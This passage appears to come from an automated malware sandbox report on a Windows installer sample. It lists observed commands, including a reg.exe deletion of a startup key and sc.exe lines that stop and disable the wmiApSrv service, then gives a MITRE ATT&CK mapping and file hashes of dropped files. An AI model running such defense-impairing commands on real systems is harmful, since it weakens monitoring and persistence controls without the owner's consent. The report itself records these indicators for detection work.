- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\SysWOW64\reg.exe" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg /f
    3⤵
    PID:2396
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\SysWOW64\sc.exe" stop wmiApSrv
    3⤵
    - Launches sc.exe
    PID:2440
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\SysWOW64\sc.exe" config wmiApSrv start=disabled
    3⤵
    - Launches sc.exe
    PID:2356

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Config.Msi\f76870e.rbs

Filesize
2KB

MD5
3a00f2cfe6e1d3f988a40084971be830

SHA1
2f0439e6730a20bd143dc09543cbc60a92549d51

SHA256
68d5ac4675feffc108430436954306bec6625798d4d0f607d4db58f3f7f4fd08

SHA512
4ee184d7a6783a6452ce4759da78ef6c8a78558558220aba3f066489240306c58d4da931896013e498f0f7ff0e1229cbaee03907837073aa84267cc783928c07

Download Submit
C:\Windows\Installer\MSI7DF6.tmp

Filesize
2.9MB

MD5
eb9a4cf233789b96f940be0186a26988

SHA1
002a1cee740fa212732379d1f00dbcf7c0cccbf2

SHA256
24d40ba4bf19e3cb942918eb8091ab467b11d5d737aef8e37cffc5306d0081d8

SHA512
725eefc24cf43ad0d5022f20608b1d149e9a4285cde7dc21b621aca3647d402a2ac7a2c0751614bae5f6d98c2b52e280e471f7f67f8916041c042bd1911784ce

Download Submit
C:\Windows\Installer\MSI8299.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI84EB.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI8578.tmp

Filesize
537KB

MD5
d7ec04b009302b83da506b9c63ca775c

SHA1
6fa9ea09b71531754b4cd05814a91032229834c0

SHA256
00c0e19c05f6df1a34cc3593680a6ab43874d6cd62a8046a7add91997cfabcd4

SHA512
171c465fe6f89b9e60da97896990d0b68ef595c3f70ee89b44fcf411352da22a457c41f7b853157f1faa500513419e504696775eefabe520f835ce9be5f4081c

Download Submit
C:\Windows\Installer\MSI8663.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI8663.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
\Windows\Installer\MSI8299.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
\Windows\Installer\MSI84EB.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
\Windows\Installer\MSI8578.tmp

Filesize
537KB

MD5
d7ec04b009302b83da506b9c63ca775c

SHA1
6fa9ea09b71531754b4cd05814a91032229834c0

SHA256
00c0e19c05f6df1a34cc3593680a6ab43874d6cd62a8046a7add91997cfabcd4

SHA512
171c465fe6f89b9e60da97896990d0b68ef595c3f70ee89b44fcf411352da22a457c41f7b853157f1faa500513419e504696775eefabe520f835ce9be5f4081c

Download Submit
\Windows\Installer\MSI8663.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
memory/2836-65-0x0000000073830000-0x0000000073DDB000-memory.dmp

Filesize
5.7MB

Download
memory/2836-66-0x0000000073830000-0x0000000073DDB000-memory.dmp

Filesize
5.7MB

Download
memory/2836-67-0x0000000002580000-0x00000000025C0000-memory.dmp

Filesize
256KB

Download
memory/2836-68-0x0000000073830000-0x0000000073DDB000-memory.dmp

Filesize
5.7MB

Download